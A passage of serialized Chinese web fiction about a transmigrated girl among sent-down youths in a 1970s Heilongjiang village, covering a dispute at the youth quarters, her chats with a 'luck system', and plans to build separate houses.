程十一黑着一张脸迈过门槛，看着欧和平要去搀扶刘英华，程十一直接高声说道：“欧点长，刘知青利用老知青的身份，讹诈新知青银钱，且金额不小，请问这种事情要怎么解决？是按照讹诈来算，还是按照投、机、倒、把来算？” 欧和平的手都要碰到刘英华的胳膊了，可一听这话，他的动作猛地一顿，震惊的看向程十一：“你，你说什么？” 无论是哪种罪名，一旦沾上了可都没好，欧和平哪怕再怎么想护着老知青、护着刘英华都不可能了。 程十一双手环在身前，对着刘英华抬了抬下巴：“就刘知青刚刚发现柴禾少了，我就说是我做饭用掉了些，回头会捡柴补回来，但她就说让我赔钱，要价十块。请问欧点长，这个到底要怎么算？如果你算不明白，那我就去找大队长问问。” 说着，程十一放下胳膊，抬脚就朝着大门口的方向走。 “别！别！” 欧和平急得噌的一下站了起来。 别说是扶着刘英华起来了，他甚至都忘记了面前还有个刘英华躺在地上，抬脚直接从刘英华的身上就迈了过去，疾步匆匆的挡在了程十一的面前。 前后都没用上几秒钟时间，欧和平的额头上就明显出了汗。 欧和平也顾不得擦汗，赶忙对着程十一赔笑说道：“小程知青，今天这事肯定是误会。你是新来的知青，对刘知青还不熟悉，这人平日里最喜欢开玩笑了，刚刚肯定也是和你在开玩笑。” “别说是就做饭用了点柴了，就算是你把咱们全大队的柴禾都堆在一起，那也用不了十块钱啊！” 跟在欧和平身后跑过来的另外四个男知青也都是老知青，闻言也都连忙出声附和。 这种时候可不是看热闹的时候了。 尤其是沾染了这两种罪名，那可都不是小事，很有可能对他们也会造成影响。 事关各自的利益，没人还能稳坐泰山一般岿然不动。 程十一似笑非笑的看着这些人。 欧和平就算了，这人是点长，遇到事情了不管是不是和自己有关系都得站出来。 但另外四个人便不是那回事。 这两天发生的事情也不少，可从来没见他们主动站出来过，现在居然站了出来，看来是真的踩到他们的痛处了。 程十一等到他们全都说完了，这才长长的哦了一声，反问：“原来这是在开玩笑啊？” 众人连忙点头，生怕慢一点了就会被程十一以为他们说的都是假话。 程十一又道：“那我刚刚也是想和刘知青开个玩笑，就踹了她一脚，想来刘知青应该不会和我计较吧？” 说着，程十一转过身看向了刚刚被扶着坐起来的刘英华。 刘英华虽然是肚子被程十一踹了一脚，但因为飞出去这件事太过震惊，加上上了一上午的工了，人是又累又饿，再重重的摔在地上，直接就将人给摔晕过去了。 这会儿脑袋正软塌塌的搭在杜秀珍的肩头。 众人的视线也都朝着刘英华看去。 看着她这样子，大家的心情其实都很复杂。 到底是在一起下乡这么长时间的知青了，朝夕相处的，虽说也有点小摩擦，但在眼前这种情况，他们也是真的很想为刘英华出头。 奈何之前有了那两个罪名在，他们谁都不可能为了给对方出头而沾染上这些事。 欧和平闭了闭眼，重新挣开时，眼里已经变得肯定，就连拳头都攥紧了，大声说道：“对，都是开玩笑！刘知青就是身子骨不太好，所以容易晕过去而已，这一切都和小程知青你没关系！” 欧和平都这么说了，其他人自然不会对着来，纷纷点头。 至于杜秀珍和白玉梅这两个女知青则是担忧的看着刘英华。 她们虽然没有任何表示，但心里面也是这样想的。 其实要说关系有多好，她们三个人的关系还真不至于好到哪里去，不过是相互帮衬着活而已。 小心思谁都有，要说心思最多的，那还得是刘英华。 新知青没来之前，他们这八个老知青里的六个人都看得出来，刘英华看上了欧和平，而欧和平也没有直接拒绝。 俩人黏黏糊糊的，要说他俩没事，打死他们这六个人都不带信的。 所以现在欧和平都这么表态了，杜秀珍和白玉梅自然是更不会有任何的意见。 刘英华自己有没有意见？ 那已经不重要了。 程十一满意了：“行，既然点长和大家都这么说了，那一切都是开玩笑而已。那我先回去了，你们自便。” 说完，程十一转身就往屋里走。 至于还没清醒的刘英华……爱咋咋地，反正大家都说是开玩笑，那就当开玩笑呗！ 等回了房间，孙娟和李娜像是触电了似的，嗖的一下就朝着两边的角落挪了挪，似乎生怕存在感太强会惹程十一生气，到时候再给她们俩各自一脚，她们俩估计就得废了。 陈丽娇倒是没有害怕，反而还有点兴奋。 拉着程十一坐下后小声说道：“十一，你刚刚那一脚真的是太，太厉害了！回头能不能教教我？” 回想刚刚自己踹出去的那一脚，程十一自己都有些不敢置信。 这副身体好像挺弱的，但刚刚那一脚可谓是爆发力十足，直接将人踹飞出去。 “咳咳！” 程十一清了清嗓子，在陈丽娇满是期待的眼神里点点头：“行，回头有时间了我就教你。” 第82章 你是不是忘记幸运值了？ 入秋的黑省，中午其实还是很热的。 再加上还没有到秋收的时候，所以中午午休的时间挺长。 前前后后加起来差不多能有三个小时了。 吃过饭还能好好睡一觉，不睡觉的话，去挖野菜、找找蘑菇，或者是砍砍柴都没问题。 刘英华最后还是被欧和平抱进对面的屋里的。 没过多会儿，人醒了，醒来后就是一顿哭嚎，不过很快又安静下去。 程十一虽然没有出去看，但门是开着的，倒也能听见一些对面的说话声。 欧和平是刻意了压低声音和刘英华分析事情，最后声音更低了些，也不知道具体说了什么，反正最后刘英华不哭不闹了，但也没有做饭。 她怎么说都是被飞出去还晕过去的人，欧和平就让杜秀珍和白玉梅做了午饭。 男知青们喝了水后就分成了两队。 都是老知青带着新知青，一队人去打水，一队人去砍柴。 大家约好了明天就将内容换过来，这样大家就都能知道去哪里打水，去哪里砍柴，方便以后分工。 程十一躺在自己的褥子上，翘起二郎腿，嘴里还叼着一根稻草。 翘着的那只脚丫子还在晃悠着。 陈丽娇没有躺着，而是靠着行李，正拿着一本书翻看。 孙娟和李娜已经全都出去了，俩人就跟做贼似的，恨不能贴着墙根一路溜出去，生怕惊动了程十一。 尤其是孙娟，她之前就觉得程十一已经很过分了，那么欺负她。 可是现在，在看到刘英华飞出去的画面后，孙娟才发现程十一对她已经算得上是手下留情。 如果给自己那么一脚，自己怕是能直接吐血。 屋里就只剩下了两个人，陈丽娇这才低声问：“你打算什么时候去和耿知青他俩说？” “等他们吃完饭吧！” 程十一将嘴里的稻草丢到地上，招呼道：“娇娇姐，睡会儿吧！下午咱俩应该就得上工了，估计肯定会很辛苦。” “我不困，你睡吧！” 陈丽娇笑了笑，将自己的毛巾被拿出来丢给程十一，自己则是继续看书。 程十一也不客气，扯开毛巾被盖住自己，连带着脑袋都给盖住了。 不过她也不是真的困，而是要和系统聊聊天。 她怕自己会控制不住自己的表情变化，或者是眼皮狂跳之类的，那样一旦被人发现可就不好解释了，这才将头也给蒙住。 程十一：“统统，你粗来！你快粗来！你和我说说，我刚刚怎么会突然爆发出那么大的力量，竟然能将人一脚就给踹飞了？” 她是真没研究明白那一脚的力量到底是从哪里爆发出来的，只能问系统。 系统很快就给了回应：“亲爱的主人，你是不是忘记今天你的幸运值啦？” 幸运值？ 程十一眨巴眨巴眼，想起了后半夜自己抽到的那个“7”。 程十一：“所以说，我那是很幸运的爆发出了充满力量的一脚？” 系统：“虽然不完全是这样，但也可以这么理解。只要主人你的幸运值足够高，那么你的身上或者你的身边就很有可能会出现让你格外惊喜的事情。” 听着系统的描述，程十一总感觉对方是在给自己画饼。 幸运值其实也并非是完全随机出现的，如果完成系统提出的任务，那么就有累积幸运值的效果。 虽说完不成任务也不会有什么特别可怕的惩罚，但奖励是真的香。 想到了任务，程十一忙问：“对了，统统，为什么最近都没有新任务了？还有，我之前的任务已经彻底完成了吗？” 系统：“没有啊！” 接着，系统做了一个并不算详尽的解释。 触发接下来任务的关键人物或者事件还没到来，所以目前程十一根本就没有任务可做。 至于关键人物是谁，关键事件又是什么，系统却怎么都不肯说了。 程十一也分不清楚对方是不知道还是不想说，反正既然没任务，那她就安安心心的当她的小程知青呗！ 就算有任务了，那也得看她心情好不好，心情不好，什么任务都不做。 东想西想间，程十一还真迷迷糊糊的睡着了。 也不知道睡了多久，程十一感觉有人碰自己的胳膊。 几乎是一瞬间，程十一抬手就抓住了对方的手腕。 另外一只手正要攻击对方的面门，就听到陈丽娇一声痛呼。 程十一秒清醒，同时还将已经抬起来的另外一只手迅速放在了自己的身上，同时看向一旁的陈丽娇。 陈丽娇被抓得胳膊疼，不过她在看到程十一看向自己时，还是紧张询问：“是不是吓着你了？” “娇娇姐，对不住，抓疼你了。” 程十一也挺抱歉的，但这一切都是下意识的反应，真不是她故意的。 陈丽娇摇摇头，揉了揉被抓疼的手腕，低声道：“他们吃完饭了，我刚刚看耿二牛他们去墙根刷碗，你看要不要现在出去找他们？我怕等会儿他们就回房间休息了。” “嗯，我现在出去。” 程十一已经坐起来，穿了鞋，抓了抓自己的头发就往外面走。 刚出屋门，就看到耿二牛和祝成才正并肩从门口路过。 “耿知青，祝知青，等一下！” 程十一一出声，那俩人便齐齐停下脚步，不解的看向程十一，不明白为什么要叫住他们俩。 而程十一也没直接说，反而对着门口的方向指了指。 俩人对视一眼，瞬间明白了程十一的意思，点点头，一起转身朝着门口的方向走去。 程十一回到房间，将装着粥和汤的饭盒拿上，也朝着大门口走去。 也不知道是不是这俩人动作慢，竟然时候刷碗的人，至于其他人已经全都回屋里去了。 这也方便了程十一和这两个人交谈。 出了大门，程十一将两个饭盒交给了耿二牛：“中午我和娇娇姐熬的粥，放的汤。煮多了，这是单独盛出来的，你俩喝了吧！” 一听这话，俩人去接饭盒的手都是一顿。 不过耿二牛很快就反应过来，再次伸手，将两个饭盒都接了过来，还傻憨憨的笑着说：“那就不客气了，谢谢小程知青！” 第83章 为了一口吃的，他也算是拼了 祝成才震惊脸。 不是，这傻憨憨咋就能真的这么傻憨憨啊？ 人家给吃的就要，连客气都不带客气一下的吗？ 耿二牛笑呵呵的看着祝成才：“小程知青人很好的，她请咱们吃的咱们吃就行。” “嗯，对，我请你们吃的。” 程十一倒是觉得耿二牛这样挺好，至少合她的胃口。 祝成才张了张嘴，一时间竟然不知道该说点什么好。 不过既然是请他们吃的，那就吃吧，大不了回头砍柴的时候多砍些，就算是还了这份请客的情分了。 只是当看到饭盒里面的粥并非自己所想象的糙米粥或者是玉米面粥，而是大米粥，里面虽然有几块地瓜，可那也改变不了是大米粥的现实后，祝成才再次自闭了。 这可是大米啊！这让他还怎么还这份情分？ 耿二牛在看到大米粥也是愣了下，很快反应过来，立刻招呼祝成才赶紧将饭盒打开。 将一整盒大米粥分别倒在了他们两个刚刚刷干净的饭盒里，之后就呼呼的往嘴里倒。 祝成才看着耿二牛吃得开心，脸上的表情更加复杂，但在对上程十一不解的目光后，他还是扯了扯嘴角，给了一个僵硬的笑，之后将自己饭盒里的粥也吃了下去。 算了算了，以后担水的时候也多担点儿吧！如果小程知青有别的什么事情需要帮忙了，自己就多帮点忙。 这可是大米粥啊，他自己都不记得有多久没有吃过这么纯正的大米粥了。 真是想想都想哭。 为了一口吃的，他也算是拼了。 喝了粥，又将剩下的汤也分了，两个人吃完后都不约而同的打了个饱嗝。 知青点的饭菜那是真的不好吃，半点油星都没有，除了有点咸淡味儿外，也就只剩下食材本身的味道了。 再加上每个人的口粮都是有数的，做出来的饭菜也都是固定的量，想多吃，那就只能做饭前多交口粮。 所有人都不得不计划着自己手里的那点粮食，就怕吃到最后没粮食了，回头再把自己给饿死，那可就乐子大了。 这就造成了耿二牛和祝成才根本就没吃饱。 俩人本来还打算回头多喝点水灌个水饱的，没想到他们还没付之行动，程十一就先给他们准备了米粥和汤。 同样是水饱，可程十一提供的水饱显然更抗饿些。 “小程知青，有什么事要做，你说吧！” 耿二牛吃饱了，也主动提起了正事。 他只是看起来憨傻，又不是真的缺心眼儿。 这么好的大米粥，这样的天气就算留到晚上吃也没问题，可现在却给了他们两个，这显然是有事情要找他们俩帮忙的。 虽然就算没有吃的，找到他了，他也会帮忙，不过很显然，对方不是那么没分寸的人，而自己也觉得收了对方的东西了，这才能让对方更加放心。 程十一可不知道耿二牛的想法，听他这么问，程十一也就没兜圈子，直接说道：“我和陈知青已经和大队定下来了，要搬出知青点住。我俩自己起房子，至于地点有几个，我俩看中了村子西边的一块空地。” “不过那块空地的面积不算小，距离大队的其他人家也不算近。要只是我俩住，我觉得不太安全，所以问问你俩有没有兴趣也自己盖房子，搬出去住。” 程十一的声音并不大，可听在对面俩人的耳朵里却犹如炸雷一般。 祝成才的眼珠子都快瞪出来了，结结巴巴问：“搬，搬出去住？” “嗯，搬出去住。经过这两天的相处，你们也应该看出来了，知青点这里并没有想象中的那么融洽。” 程十一耸耸肩，显得有些无奈：“当然了，我只是问问你们的意思，你们要是觉得知青点这里住着还行，那就当我什么都没说过。” 祝成才张了张嘴，倒是没说出什么来了。 而耿二牛却在认真思考了一番问道：“自己起房子的话要多少钱？” 这个问题，程十一还真问过大队长，所以现在回答起来也是格外顺畅。 “都是茅草屋黄土墙的房子，一间厨房一个睡觉的屋子，加起来差不多五十平左右吧！算上工钱啥的，差不多五十块钱。” 这也是程十一为什么会直接给五十块钱的预付款的原因。 她和陈丽娇两个人的房子差不多就是一百块钱，预付一半，也算得上是很有诚意了。 耿二牛听后点点头，当即说道：“那我也自己起房子出去单住。” “啊？” 祝成才的眼睛瞪得更大了，难以置信的看着耿二牛：“二牛，你，你要搬出去住？” 耿二牛昂了声，挠了挠后脑勺，有点不好意思的解释道：“我饭量大，但是知青点做饭好像大家的口粮都差不多，男知青比女知青的多也多不了多少。一顿两顿的我还能忍，可时间长了，我是真遭不住。” “如果搬出去自己开火做饭，好不好吃还是次要的，主要是我能让自己多吃两口饭，不至于饿得太厉害。” 对于粮食是从哪里来，口粮够不够之类的，耿二牛没提。 祝成才也不是愣头青，人家没提，他也就没问，不过却认真的想了想，附和道：“确实，我看了下今天做饭的那个份量，说真的，我也吃不饱。” 提起这个，祝成才就忍不住苦巴巴一张脸：“那我也搬出去吧！自己开火做饭，哪怕水多放点的粥，那也比和大家一起这么吃药强。” 程十一倒是没想到这俩人能这么快就下决定，不过这是好事。 “那你俩要不要现在跟我去大队长家走一趟？” 程十一提议：“今天下午就要开始弄土砖之类的了，得先给大队一点收材料的钱。” “那我回去拿钱。” 耿二牛率先开口。 祝成才立刻举手：“我也是！” “行，那我去和陈知青打声招呼，之后咱们一起去找大队长。” 程十一说着，就要伸手去收回自己的两个饭盒。 耿二牛连忙摇头：“这俩饭盒我先刷一下，等会儿给你。” 祝成才也连忙表示要给刷干净。 程十一没坚持，转身就先回去了。 第84章 觉得自己赚大了 前后没用上十分钟时间，程十一四个人就离开了知青点，直接朝着大队长家走去。 这会儿是午休时间。 社员们大部分都已经吃过午饭了。 大人们或是在午睡，或是在忙着家里的活，也有人结队去山上挖野菜、捡柴禾。 知青点倒是静悄悄的，清一色的都选择了午睡。 走在村子里，不少社员都看到了这并肩走的四个人，全都投过来好奇的眼神。 大家只知道这四个人是新来的知青，但是具体叫什么，是个什么秉性并不清楚。 也不知道是不是一路上遇见的社员都没有社牛属性，倒是没人主动和程十一四人打招呼。 来到了大队长家。 还没等到到门口，就听见了里面传来了一阵喧哗声。 院墙有一人高了，以程十一这样的身高根本就看不到里面的情况。 只有到了大门口，程十一才发现大队长家的院子里竟然有不少人。 这会儿大家叽叽喳喳的在说着什么，程十一很快就捕捉到了重点词。 土砖、草垫子。 看样子应该是为了给自己和陈丽娇盖房子的材料来的。 “大队长！” 程十一高声招呼，也没敲门。 主要是大门口距离前面还有点远，如果没人说话，敲门还行，可现在，估计只有踹门才能引起院子里的人的注意。 少女清脆的嗓音乍响，像是暂停键一般，让院子里瞬间安静下来，所有人的视线都朝着门口看了过去。 本来被社员围在中间的顾草根一看到来人，眼皮当即一跳。 这丫头咋这时候来了？怎么感觉不是啥好事呢？ 程十一完全不害羞，率先进了院子，还给了顾草根一个大大的笑脸。 只是她不笑，顾草根就已经觉得头疼了，这一笑，顾草根简直有种现在就直接晕死过去的想法。 “你过来干啥了？还有他们三个……” 顾草根看着跟在程十一身后的三个人。 一个比一个高，最后就是最高的耿知青。 要说这些新知青里面，顾草根最稀罕哪个，那肯定是长得又高又壮的耿二牛了，一看就是个干活的好把式。 事实也确实是这样。 中午的时候负责耿二牛那个小队的小队长特意来和顾草根说了耿二牛的表现，那真是一百个满意。 就冲着耿二牛干活的架势，不说的话都没人会觉得那是个下乡知青，简直依旧就是妥妥的庄家老把式！ 所以在看到耿二牛后，顾草根的脸色明显缓和了不少。 “大队长，我们过来找你说点事，你看能不能借一步说话？” 程十一看着围在顾草根身边的社员，觉得还是低调些吧！ 万一大队长不同意两个男知青也搬出来住，那岂不是给耿二牛他们两个添麻烦？ 顾草根皱了皱眉，视线又落在了耿二牛身上，犹豫了一瞬，最后还是点点头，穿过人群，带着这四个人朝着大门口的方向走了走。 确定别人听不见他们说什么，这才低声问：“你们这会儿过来到底是啥事？” 问完后，顾草根脑子一抽，脱口就又问了句：“不会是他们俩也要自己建房子搬出来住吧？” 主要是这一上午都在说这件事，现在突然看到程十一和陈丽娇又带了两个新知青过来，顾草根就这样生出了这样的疑惑。 程十一果断给顾草根竖起了大拇指：“大队长果然是大队长，慧眼如炬！真的是太厉害了！我们还没说，您就已经猜到了，看来我们真的没有办法在您的眼皮子底下搞小动作呢！” 夸赞的话不要钱一样往外涌，听得顾草根的眼皮又开始一阵阵狂跳。 “行了行了，你别在那叭叭了，赶紧说说到底是咋回事。” 顾草根瞪了程十一一眼，然后看向了耿二牛和祝成才：“你俩咋回事？俩大小伙子咋也要搬出来住？” 面对大队长，祝成才还有点不敢说话，毕竟这可是大队长哎！ 耿二牛倒是没那么紧张，反而还憨憨一笑，老老实实的将之前在知青点外面说的理由又说了一遍。 祝成才这会儿也做好心理建设了，赶忙点头，表示了一下自己和耿二牛的理由是一样的。 顾草根沉默了。 这理由听起来好像没什么问题，但又好像有很大的问题。 好一会儿，顾草根才问：“借给你们的口粮都是有定数的，就算不够吃，回头再借，大队上也不会多借多少给你们。你俩确定要搬出去自己做饭吃？万一粮食不够……” “没事，我家里会给我寄粮食过来。” 耿二牛挠了挠后脑勺，显得越发憨厚。 而祝成才则道：“我家里每个月都会给我邮寄粮票和钱过来，不会亏我的肚子。” “这样啊！” 顾草根明白过来了，人家这俩人是不差钱不差粮食的主儿。 既然这样…… 顾草根问程十一：“关于房子的归属问题，你和他俩说了吗？” 程十一点点头：“说了，刚刚来的路上就说了。” 这么重要的事，程十一自然是要提前说的。 而耿二牛和祝成才虽然沉默了好一会儿，但俩人最后还是决定搬出来住。 耿二牛的理由除了要让自己吃饱点外，最重要的一个原因是他压根就没觉得自己还有回城的一天。 也就是说，他已经单方面决定这辈子都会留在这里了。 所以那房子哪怕说是归大队所有，可他一直不搬走，那他就能一直住着，根本不影响。 至于祝成才，他就是单纯的觉得自己很长时间都不会离开而已。 如果真的有机会离开了，代价是白给大队盖间房子，那他是真的觉得自己赚大了。 顾草根见这俩人的态度都挺坚决的，也就没说什么劝阻的话。 程十一直接提出了自己看中的地方，顾草根也没意见：“行，那块地方挺大的，给你们四个人分别起个单独的院子都够用。” 顿了顿，顾草根又问：“要不你们四个住一个院子呢？” 不等这四个人回答，顾草根自己又现摇头了：“还是分开吧！要不你们俩俩人一个院子？” 第85章 这和天上掉馅饼有什么区别？ 程十一挑挑眉，没接这话。 陈丽娇倒是很想和程十一住一个院子，不过她也不是傻的，见程十一没接茬，她也就明白了。 十一妹妹是想自己住一个单独的院子。 唉…… 罢了，分开住也是挺好的。 就算关系再亲近的人也不能天天腻在一起，总是要有各自的空间的。 而耿二牛和祝成才则是对视了一眼。 俩人都想各自开火单独吃，但对于院子这事…… 祝成才问：“耿知青，咱俩住一个院子咋样？” “行倒是行，不过做饭还是分开吧！我是真的很能吃。” 耿二牛有些不好意思的挠了挠头。 祝成才点头：“行啊！反正厨房就在屋里，咱们俩各自分开吃也方便。” 这俩人很快就做了决定。 俩人的房子起在同一个院子里，这样还能省下一点院墙的钱。 至于两个女知青…… 顾草根现在也反应过来了，人家俩女知青就是想分开住。 算他多嘴问那么一句！ 有了陈丽娇和程十一的事情在前，耿二牛和祝成才签文书的事自然也就没有什么波折了。 “下午上工的时候你俩多等会儿，等你们签了字再去上工。” 顾草根可没忘了不远处还有不少人等着和自己说说土砖那些材料的事呢！ 耿二牛和祝成才没意见，当即答应下来。 四个人出了大队长家，程十一提议：“我带你们去看看我看上的那块地方？” “好！” 耿二牛和祝成才异口同声。 越是朝着村子的西边走，房屋院子就越少，甚至到了最西边后，最边上的几个房子已经出现了破败之象，显然是不能住人了。 “这里可是真够偏的了。” 祝成才忍不住摇头：“我俩要是不跟着搬过来住，就你们两个女同志住这么远可真不行。” 耿二牛也跟着附和：“是啊，太不安全了。” 说着还指了指远处的山：“大队距离山看着远，可实际上也没有很远了，万一山上有什么大动物冲下来，就村子里的这种房子怕是撑不了太久。” 闻言，陈丽娇的脸色唰的就白了。 她是真没想过远处的山上还能下来什么大动物啊！ 程十一倒是很淡定：“不用害怕，回头咱们在房前屋后的弄上陷阱，到时候到底是咱们危险还是野兽危险，这个还真不一定。” “哈？” 祝成才瞪大了眼睛：“不是，小程知青，你还打算打猎？不对，你还会打猎？” 程十一耸耸肩，并没有回答这个问题。 她原本是不会打猎的，甚至是后来学会了打猎，那也只是被饿出来的技能而已，要说专业，那真是半点都谈不上。 不过设置陷阱这事她可没开玩笑。 陷阱那东西并不只是针对可能会下山的野兽，还要防备着有可能会摸到家里的贼人。 单身女子单独居住，任何的小心谨慎都不是多余的。 陈丽娇对程十一有一种迷之信任，一听这话她的脸色立刻缓和回来，还用力的点了点头：“好，到时候咱俩一起弄！” 耿二牛二人对视一眼，俩人都是同款的一言难尽。 下午，程十一和陈丽娇终于上工了。 顾草根这个大队长对于新知青也算得上是真的照顾了。 第一天上工分到的工作说是除草，实际上跟着庄稼老把式辨认作物。 看着金色麦浪，程十一的心情那叫一个激动啊，真是恨不能立刻就将这些粮食全都收进系统仓库里。 不过这也就是她的一个想法，是绝对不会付之行动的那种不切实际的想法。 程十一这种在信息大爆炸时代生活过的人，通过网络认识了不少平日里根本不会看到的事物。 包括但不限于各种粮食作物。 所以她学习的速度那是真的快，直让陈丽娇的两只眼睛都恨不能闪出星星来。 “十一，你学东西速度好快啊！” 陈丽娇摇晃着身体走在麦田中间。 两侧都是沉甸甸的麦穗，如果不小心弄到地上去，那肯定是要被骂的，严重了可能还会被扣工分，所以走在里面那是真的小心。 程十一笑笑：“我也是小时候在乡下的老家看到过，所以有点印象。” 真实原因，那自然是不能说的。 不过原主的记忆里还真有一些关于乡下生活的片段。 好像是赶上了秋收的时候，王家一大家子遇到了假期就会去乡下老家帮忙干农活。 当然，干活最多的就只有原主王二丫，其他人说是去干活，还不如说是去郊游。 辛苦不说，还吃不饱肚子，所以原主在主观意愿上就不是很愿意想起那些画面。 这会儿也是被人指导辨认各种庄稼，程十一的脑海里才浮现出了一些零散的碎片。 陈丽娇只以为程十一是在谦虚，在她心里面，十一妹妹就是特别特别聪明的一个人，反正她是比不了的。 还没有开始秋收，目前这段时间也算得上是这个秋天里为数不多的清闲日子了。 眼看着还有七天就要开始秋收了，要赶在秋收之前将四间新房子，三个新院子围起来，哪怕不是青砖大瓦房，可这工程量也着实不小。 所以下午上工前，村里的大部分壮劳力都被留在了大队部外面的空地上等着。 等到耿二牛和祝成才将文书签好了，顾草根这才走出来宣布了起房子的事。 众人一听秋收前还能有这样一份活计，但凡是能认真干活的全程下来都能至少拿到十块钱，这和天上掉馅饼有什么区别？ 于是当天下午整个大队都热闹起来了。 汉子们全都回家将各家储存的土砖、草垫子，甚至是可以用来做房梁的木头都搬了出来。 这些大队会出钱换，价格都是统一的。 虽说大家提前储存这些也是为了以后再起房子用，但除了今年是一定要起房子的人家外，其他人家完全不在意。 今年都换成了钱，明年再重新存就是了，反正也不差这点儿。 更何况有了钱，等秋收的时候家里肯定能添点荤腥，到时候上工了身上都有劲儿。 就只是一个下午时间，甚至还没等到程十一四人下工，他们四个人新房子所需要的土砖、茅草，甚至是房梁的木头都齐全了。 第86章 憨厚二牛怼欧点长 也不是什么大房子，用的材料也都和大队里的人家一样，再加上还只是一个人住，所以房子建造甚至连图纸都不用。 被选中来干活的人多多少少都是有盖房子经验的，只需要说明了房子的大小和对房间的需求，剩下的就完全交给他们便可以。 大队里要另外起个知青点的消息在当天晚上就传遍了整个光荣大队。 上工的人回家后，发现家里面存的土砖之类的都没有了，自然是少不了要问的，结果就得知了村子西边要起三个院子，四间屋子，是给新知青准备的。 这个消息让整个光荣大队都沸腾了。 只是消息的传播并非那么实事求是，传着传着就变了味道。 不少人都认定了大队长太偏心了，不应该给下乡知青起洗房子，这不是占大队的便宜吗？ 于是大队长家，顾草根的手还没碰到晚饭的饭碗，外面就传来了一阵闹闹哄哄的声音。 堂屋的门开着，顾草根又是坐在主位，一抬头就看到了自家大门外黑压压的人群，还有人正在往院子里面走。 “这是咋的了？” 顾草根也是被吓了一跳，赶忙站起来绕过桌子往外走。 一家之主都还没端饭碗，其他人自然也是不敢动筷子的。 现在一家之主都出去了，他们哪怕是再饿也只能硬着头皮站起来跟上去。 顾草根迈过门槛，就听见外面的人叽叽喳喳的嚷嚷开了。 什么“大队长太不公平”，什么“占了大队的便宜”之类的话那真是此起彼伏的钻进顾草根的耳朵，听得他脑子嗡嗡作响。 最后还是大队长媳妇儿拿着个破盆，用烧火棍当当当的敲了好几下，这才算是将现场气氛控制住。 顾草根问想带头进来的人，结果听说了来自家的缘由后，他真是直接被气笑了。 如此，大队的社员们才知道原来盖房子的钱都是人家新知青出的，而且这房子人家只是居住，万一哪天回城了，这房子就直接归大队所有。 这么一算，哪里是人家占了他们大队的便宜啊，分明是他们大队占了人家新知青的便宜。 于是又有人念叨这新来的知青一个个的都太缺心眼了，有钱没地方花之类的话。 顾草根也是忙了一天，这会儿压根就不想管那些乱七八糟的闲事，直接将人喊走，转身回屋吃饭。 大队里社员们的各种情绪转变，程十一这会儿可不知道，也不在意。 而知青点的人在知道了程十一四个人只住上几天就会搬出去后，一个个的心情也都是非常复杂。 可有今天刘英华被踹飞的事情在前摆着，大家无论心里是怎么想的，这会儿都默契的没有去找程十一和陈丽娇问。 倒是耿二牛和祝成才在男知青屋里被问了好几遍。 俩人倒也没有撒谎，实话实说他们搬出去的理由。 这个理由让新老知青们都很一言难尽。 这话说的，难道他们就不能吃吗？ 他们也饿，他们也能吃很多粮食的，可是他们吃不起啊！ 但凡不缺粮食，他们也不会每天只吃那么一点点好吧！ 欧和平眉头紧皱，虽然已经听了这俩人说了不下三遍这样的理由了，可他这心里还是觉得不舒服。 人都搬出去了，那他这个点长还怎么做工作？ 于是欧和平说道：“耿知青，祝知青，你们如果吃不饱的话完全可以多拿点粮食出来，等做好饭了，你们再把你们那份分出去就行了。你说你俩这要是搬出去住了，谁给你们做饭啊？” 祝成才没吭声，只是看向了耿二牛。 耿二牛则是一脸茫然不解的看着欧和平，反问：“欧点长，难道你自己不会做饭吗？” 这话就等于是在说他是会做饭的。 欧和平面色一僵，随即冷了脸：“男人进厨房做饭算怎么回事？你看谁家好男人会去做饭的？做饭那就是女人的活！” 一听这话耿二牛就不乐意了：“欧点长，我觉得你这话说的不对。做饭怎么就只能是女人的活？要照你这么说，那国营饭店后厨的大师傅们算怎么回事？” 其实对于欧和平的话，大部分男知青都是表示赞同的，因为他们从小的教育和经历就是男主外，女主内，厨房那就是女人的活。 要不是和那些女知青的关系和家里人的关系不一样，他们甚至连衣服都想让女知青洗的。 毕竟，洗衣服这种事也是女人的活。 可是现在被耿二牛提到了国营饭店的后厨大师傅后，他们一个个的都不知道该怎么说好了。 别说是后厨的大师傅了，好像就算是面案之类的师傅也都是男的。 不能说后厨没有女的，但女的最多也就是择菜洗菜刷碗这些活吧！ 欧和平张了张嘴，想反驳，但却反驳不出来，一时间脸色越发难看。 祝成才此时出声说道：“我和耿知青都会做饭，所以我俩搬出去住，做饭这事不是什么问题。如果留下来的话，虽然我俩也可以多拿出粮食来麻烦女知青们多做些，可都是一样的吃饭，天天顿顿的让她们多干活，我们这心里也过意不去。” “与其到时候让大家心里都不痛快，不如早点分开。” 最后一句话算是说到了点子上。 耿二牛只点头，倒是没再怼欧和平。 而其他的男知青们则是眸光闪了闪。 尤其是老知青们，他们可不是那些新知青，听话那都不是单纯的听声，而是要听音。 多做饭又能多辛苦到哪里去？可到底是所有的口粮放在一个锅里面做出来的饭，真等分饭的时候想要分得那么清楚仔细可不容易。 尤其是做饭的地方是在女知青那屋的厨房，万一做饭的时候从他们的口粮里拿出去点粮食，再多加点水，谁能分得清楚？ 这种事以前又不是没发生过，要不是男知青们做饭实在是太难吃了，估摸着知青点现在两个厨房里每天都得烧火做饭了。 祝成才看着老知青们的眼神飘忽不定，就知道自己这话没说错。 果然，搬出去住才是当下最明智的选择。 唯一的缺点就是接下来花钱得仔细些，要不然可能撑不到家里下次给自己汇款过来。 第87章 社员们想结亲 程十一四个人出名了。 整个大队的人都在讨论这四个人盖房子的事。 起的虽说和大家的房子都是一样的茅草黄土房，可那也是新房子啊！ 起一间房子怎么也要五十来块钱，这一笔钱放在他们乡下也是一笔挺大的费用了。 不少家里面有没结婚姑娘儿子的人家都开始动了心思。 如果能娶到或者嫁给那四个新知青，那可是连新房都能省了。 尤其是耿二牛，那么壮的身板子，才上工一天时间，就已经成为了很多大娘眼里的绝佳女婿人选。 一个人下乡当知青，能干活，还有新房子，这要是自家闺女能嫁给他，上面没有公婆姑嫂压着管着不说，还直接就能住在同一大队上。 最亲近的家人就是他们住在一个队上的娘家人，那不是妥妥的方便贴补娘家吗？ 关键是家里有活了，姑爷还能过来帮忙干活，真的是越想越划算。 至于那个祝知青，看起来和耿知青是不能比，可也是个精神的小伙子，干活不如耿知青，但比其他新来的知青也强不少。 主要有新房子，这也是顶顶好的女婿人选！ 这些大娘看着这俩男知青的眼睛里都透着光，真是恨不能现在就捉回去和自家闺女拜堂成亲。 而程十一和陈丽娇也是这种话题的中心人物。 只不过相比较而言，陈丽娇明显更受欢迎。 程十一因为长得太瘦小了，在很多大娘大妈眼里那就是妥妥的不能生的样子，就算有房子也不太行。 